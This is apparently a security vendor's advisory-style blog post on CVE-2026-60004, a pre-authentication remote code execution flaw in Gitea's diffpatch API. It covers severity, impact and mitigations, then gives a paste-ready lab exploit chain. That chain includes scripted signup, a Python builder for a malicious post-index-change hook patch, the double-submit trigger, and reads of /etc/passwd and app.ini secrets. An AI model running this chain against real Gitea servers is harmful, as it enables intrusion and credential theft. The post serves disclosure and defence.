CVE-2026-60004 | Gitea 1.17–1.27.0 - Pre-Authentication Remote Code Execution via diffpatch Git Hook Injection - Safe Security

CVE-2026-60004 | Gitea 1.17–1.27.0 – Pre-Authentication Remote Code Execution via diffpatch Git Hook Injection

Sep 25, 2026 13 minute read

1. Introduction

This document illustrates a pre-authentication Remote Code Execution (RCE) vulnerability in Gitea, the widely deployed open-source, self-hosted Git service used by development teams, enterprises and internal tooling stacks. The flaw lets an anonymous network visitor execute arbitrary shell commands as the Gitea Operating System (OS) account by submitting the same malicious patch twice to the diffpatch API, planting an executable Git hook that Git itself runs. Tracked as CVE-2026-60004 with a CVSS v3.1 base score of 9.8 CRITICAL, the vulnerability was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 25 August 2026 with active in-the-wild exploitation (cryptominer dropper payload) confirmed.

2. Gitea Description

Gitea is an open-source, self-hosted Git service written in Go, providing repository hosting, code review, issue tracking, CI/CD actions and package registries through a lightweight single binary. It is available as free community software and as a managed Enterprise cloud offering, and its ease of deployment makes it a staple for engineering teams standing up private source-control infrastructure. Gitea versions 1.17.0 through 1.27.0 are in scope of this vulnerability.

3. Vulnerability Severity

CVE ID CVE-2026-60004 (Gitea)
Severity CRITICAL
CVSS Score 9.8 / 10
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-94 – Improper Control of Code Generation
Vendor Advisory GHSA-rcr6-4jqh-j84m
Fixed Versions Gitea 1.27.1
Published July 27, 2026

Additional context: CWE-94 (Improper Control of Generation of Code), EPSS 0.95 (95% exploitation probability), CISA KEV added 2026-08-25 with federal remediation deadline 2026-08-28.

4. Scope of Impact

  • All Gitea releases from 1.17.0 up to and including 1.27.0 are affected – roughly four years of releases, including the 1.23, 1.24, 1.25 and 1.26 lines most self-hosted deployments run today.
  • The vulnerability is fixed in 1.27.1, released 27 July 2026.
  • Exploitation requires host Git 2.32 or newer (for the three-way merge fallback flag), an enabled diffpatch API route, and a writable, executable temporary filesystem – conditions satisfied by common default deployments.
  • Gitea instances with default open registration are exploitable with zero prior credentials; instances with registration disabled require an existing account with write access to any repository.

5. Where is the vulnerability present?

The vulnerability is present in Gitea’s POST /api/v1/repos/{owner}/{repo}/diffpatch API endpoint, implemented in services/repository/files/patch.go. The endpoint applies a user-supplied patch by creating a shared bare temporary Git clone and invoking git apply –index –recount –cached –binary; on hosts running Git 2.32 or later, the -3 three-way merge fallback flag is additionally passed. Under normal operation the –cached flag guarantees that patch content only touches the index and never writes files to disk.

The flaw exists because of how a bare clone is laid out: it has no separate working tree, so the repository root and the working tree root are the same directory – $GIT_DIR. Any file that does get written to disk during patch application therefore lands directly inside the Git repository structure itself. When the same patch is submitted a second time, the path it adds already exists in the branch head, producing an add/add collision. Git’s three-way fallback resolves that conflict by checking the conflicted path out to disk, silently bypassing the –cached restriction. If the patch targets the path hooks/post-index-change, an executable file (mode 100755) is created inside Git’s live hooks directory – and Git automatically invokes post-index-change hooks whenever the index is modified, an event that occurs during the patch application itself, so the hook fires immediately with the attacker’s shell commands.

A second default-configuration weakness completes the pre-auth chain: Gitea ships with open user registration, no email confirmation, no administrator approval and no repository-creation limit. An unauthenticated visitor registers an account, creates a repository and obtains the write access the endpoint requires – all through ordinary HTTP requests before the malicious patch is ever sent. Command output is never returned in the diffpatch response itself; the planted hook stores its stdout as a Git object and publishes a named branch (for example rce-proof), which the attacker then reads back through Gitea’s raw file API, requiring no outbound connection from the server.

6. Risk

The immediate capability is arbitrary command execution as the Gitea OS user (typically the dedicated git account, uid=1000 in the official Docker image). An adversary needs only network reachability to the web port (3000 by default) and five HTTP requests – register, create repository, read a commit SHA, then send the identical malicious patch twice. Because the planted hook fires on every index update, the attacker can re-trigger execution by continuing to interact with the repository, and can persist by planting additional hooks or modifying repository content.

From that foothold, the attacker reaches everything the service account can read. The vendor advisory notes exposure of app.ini and Gitea application secrets (including the SECRET_KEY used to forge sessions and tokens), process environment variables, mounted repositories across all hosted projects, database credentials and database contents, OAuth and integration credentials, and other internal or externally reachable services. Source-code theft, forced-push tampering of CI configurations, and credential harvesting from CI/CD pipelines follow directly.

The impact on the confidentiality, integrity and availability triad is total: arbitrary file read defeats confidentiality; arbitrary command execution as the service account defeats integrity of every repository and secret the instance holds; and the adversary can stop, crash or ransom the service at will. In-the-wild activity confirms the practical severity – a cryptominer dropper payload has been observed deploying through this vulnerability, and CISA’s KEV inclusion with a 28 August 2026 federal deadline signals active adversary adoption.

7. Mitigation

  • Upgrade to Gitea 1.27.1 or later – the fix changes the temporary patch-application clone from bare to non-bare, removing the condition that lets patched-in files land in the hooks directory. This is the only complete fix.
  • Gitea 1.27.1 release and binaries: https://github.com/go-gitea/gitea/releases/tag/v1.27.1 (Docker: docker pull gitea/gitea:1.27.1).
  • Disable open registration (DISABLE_REGISTRATION = true in app.ini [service]) – a partial mitigation that removes the anonymous path while an upgrade is scheduled; it does nothing about existing users who already hold repository write access.
  • Block the diffpatch API route at the reverse proxy or WAF layer until patched (for example, deny location ~* /api/v1/.*/diffpatch in nginx).
  • Mount Gitea’s temporary directory noexec where the deployment permits, preventing hook execution even if a file is written.
  • Audit repository write grants and revoke access no longer needed; monitor the Gitea host for unexpected child processes of the service account (shell interpreters, curl, wget, miners) and for HTTP requests to the diffpatch endpoint containing hooks/ path references or shell shebangs.
  • Note: the 1.27.1 release notes originally listed the fix under MISC as a patch-apply refactor without a security label – teams that triage upgrades on security tags should verify vendor advisories directly rather than relying on changelog categorization.

8. Exploit Implementation

Attack Scenario

The exploitation demo runs against a Docker-based Linux lab on http://localhost:3000 hosting gitea/gitea:1.27.0 (in-range for CVE-2026-60004) with default open registration, SQLite storage and bundled Git 2.54.0 (≥ 2.32, so the -3 three-way fallback is active). Docker is already running; the demo starts from confirming the target is reachable. Every action below executes as an anonymous internet caller with zero prior credentials.

Prerequisites:

  • Docker / Docker Compose (lab already running)
  • nuclei with the official ProjectDiscovery template http/cves/2026/CVE-2026-60004.yaml
  • Python 3.7+ (stdlib only – no pip) for exploit.py
  • curl for direct HTTP requests

Exploitation

The chain below is eight paste-ready commands, run in order in a single terminal. Command 3 sets every variable the later commands use, so the whole manual exploit happens with no intermediate state to lose.

1. Confirm the vulnerable Gitea instance, open registration and the Git version gate.

cd /Users/User/Documents/Blogs_CVE/CVE-2026-60004
curl -s http://localhost:3000/api/v1/version && echo
curl -s -o /dev/null -w "open registration: %{http_code}\n" http://localhost:3000/user/sign_up
docker compose exec -T gitea git --version

Terminal output confirming Gitea version 1.27.0, open registration HTTP 200, and Git version 2.54.0

Expected: “version”:”1.27.0″ (affected 1.17-1.27.0), open registration: 200 (the pre-auth condition), and git version 2.54.0 – Git ≥ 2.32 is required or the -3 three-way fallback never fires.

2. Run the official Nuclei template to confirm the vulnerability end-to-end.

nuclei -t nuclei-templates/CVE-2026-60004.yaml -u http://localhost:3000 -v \
  -var csrf=cve-2026-60004-lab

Nuclei scan output showing CVE-2026-60004 critical match with extracted /etc/passwd content

The template performs the full intrusive chain – registers a user, creates a repository, sends the hook patch twice and retrieves /etc/passwd from the rce-proof branch. The match line [CVE-2026-60004] [http] [critical] with the extracted root:x:0:0:root… body confirms RCE. (-var csrf=… seeds a runtime variable the template expects; Gitea 1.27.0’s anonymous forms carry no CSRF token and the backend accepts the sign-up regardless.)

3. Pre-auth entry – register an account, create the repository, fetch the commit SHA and build the malicious patch (one block).

RAND=$(LC_ALL=C tr -dc 'a-z0-9' < /dev/urandom | head -c 8)
ATTACKER_USER="attacker${RAND}"; ATTACKER_PASS='Attacker123!'
REPO_NAME="rce-${RAND}"
curl -s -o /dev/null -w "signup: %{http_code}\n" -X POST "http://localhost:3000/user/sign_up" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "user_name=${ATTACKER_USER}" \
  --data-urlencode "password=${ATTACKER_PASS}" \
  --data-urlencode "retype=${ATTACKER_PASS}" \
  --data-urlencode "email=${ATTACKER_USER}@lab.local"
curl -s -o /dev/null -w "repo: %{http_code}\n" -X POST "http://localhost:3000/api/v1/user/repos" \
  -H "Content-Type: application/json" -u "${ATTACKER_USER}:${ATTACKER_PASS}" \
  -d "{\"name\":\"${REPO_NAME}\",\"private\":false,\"auto_init\":true,\"default_branch\":\"main\"}"
COMMIT_SHA=$(curl -s "http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/branches/main" \
  -u "${ATTACKER_USER}:${ATTACKER_PASS}" \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['commit']['id'] if 'commit' in d else 'ERROR: '+str(d))")
export COMMIT_SHA ATTACKER_USER ATTACKER_PASS REPO_NAME
echo "sha: ${COMMIT_SHA}"
python3 - <<'PYEOF'
import hashlib, json, os
hook = r'''#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
 /*) ;;
 *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ id; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0
'''
sha = hashlib.sha1(b"blob " + str(len(hook.encode())).encode() + b"\x00" + hook.encode()).hexdigest()
added = hook.splitlines()
diff = ("diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index 0000000000000000000000000000000000000000..{sha}\n"
        "--- /dev/null\n+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{len(added)} @@\n") + "".join(f"+{ln}\n" for ln in added)
json.dump({"content": diff, "message": "apply-1", "branch": "main",
           "sha": os.environ["COMMIT_SHA"]}, open("/tmp/patch1.json", "w"))
print("patch1.json built, hook blob:", sha[:12])
PYEOF

Terminal output showing signup 303, repo 201, 40-character commit SHA, and patch1.json built confirmation

Expected: signup: 303 (Gitea needs no email confirmation or admin approval – one POST creates a working account with zero prior credentials), repo: 201, a 40-character SHA, and the built patch. The Python block constructs the unified diff that introduces hooks/post-index-change with mode 100755; the hook resolves the temporary clone’s origin repository through objects/info/alternates, stores its command’s output as a Git blob, and publishes it as branch rce-proof. The password is deliberately in single quotes – interactive zsh/bash treat ! inside double quotes as history expansion and silently break the line.

4. The kill chain – send the patch, then send the identical patch again.

curl -s -o /tmp/patch1-resp.json -w "patch #1: %{http_code}\n" -X POST \
  "http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/diffpatch" \
  -H "Content-Type: application/json" -H "Accept: application/json" \
  -u "${ATTACKER_USER}:${ATTACKER_PASS}" \
  --data-binary @/tmp/patch1.json
NEW_SHA=$(python3 -c "import json; d=json.load(open('/tmp/patch1-resp.json')); print(d['commit']['sha'] if 'commit' in d else '')")
[ -n "${NEW_SHA}" ] || echo "patch #1 failed - re-run the previous command block"
python3 -c "
import json
p = json.load(open('/tmp/patch1.json'))
p['message'] = 'apply-2'; p['sha'] = '${NEW_SHA}'
json.dump(p, open('/tmp/patch2.json', 'w'))
"
curl -s -o /dev/null -w "patch #2 (identical): %{http_code}\n" -X POST \
  "http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/diffpatch" \
  -H "Content-Type: application/json" -H "Accept: application/json" \
  -u "${ATTACKER_USER}:${ATTACKER_PASS}" \
  --data-binary @/tmp/patch2.json

Terminal output showing patch 1 HTTP 200 and patch 2 (identical) HTTP 200

The first POST indexes the hook content (–cached keeps it off disk – nothing has executed yet). The second POST carries the byte-identical patch content with only the parent sha advanced: both sides now attempt to add the same path, the add/add collision pushes Git’s -3 fallback into checking hooks/post-index-change out to disk, and because the temporary clone is bare its root is $GIT_DIR – the file lands in the live hooks directory and Git executes it during this very index write. A single POST is not enough; the response status is never the RCE indicator and the body never contains command output.

5. Retrieve the command output from the rce-proof branch.

curl -s -w "\nHTTP %{http_code}\n" \
  "http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/raw/proof?ref=rce-proof" \
  -u "${ATTACKER_USER}:${ATTACKER_PASS}"

Terminal output showing uid=1000(git) from the rce-proof branch raw file API

The hook stored its command’s stdout as a Git blob and published branch rce-proof; Gitea’s raw file API serves it back over ordinary HTTP. uid=1000(git) proves arbitrary command execution as the Gitea service account – with no outbound connection from the server at any point.

6. Reconfirm the whole chain with the one-shot script (fresh identity, zero setup).

python3 exploit.py --url http://localhost:3000 --cmd id

Terminal output from exploit.py showing successful RCE with id command output

The stdlib-only script automates everything from command 3 onward with a new random identity – register, create, SHA, patch x2, retrieval – printing each stage as it fires. The same proof of execution lands without any manual state.

7. Arbitrary file read – /etc/passwd as the git user.

python3 exploit.py --url http://localhost:3000 --cmd "cat /etc/passwd" | tail -25

Terminal output showing /etc/passwd contents retrieved via the Git-object exfiltration channel

The server’s complete account database comes back through the hook’s Git-object exfiltration channel – the same primitive reaches app.ini application secrets, environment variables and every mounted repository.

8. Secrets exposure – read Gitea’s own configuration file.

python3 exploit.py --url http://localhost:3000 --cmd "head -12 /data/gitea/conf/app.ini" | tail -16

Terminal output showing Gitea app.ini contents including SECRET_KEY and database credentials

Gitea’s own app.ini is returned through the same channel – on production instances this file contains the SECRET_KEY, database credentials and OAuth secrets whose disclosure leads to session forgery and full application takeover.


References: · NVD CVE-2026-60004 · Nuclei template http/cves/2026/CVE-2026-60004.yaml · Gitea Advisory GHSA-rcr6-4jqh-j84m

See how SAFE transforms your CTEM Unified exposure visibility, AI-driven prioritization, and quantified risk in business terms. Built for enterprise scale.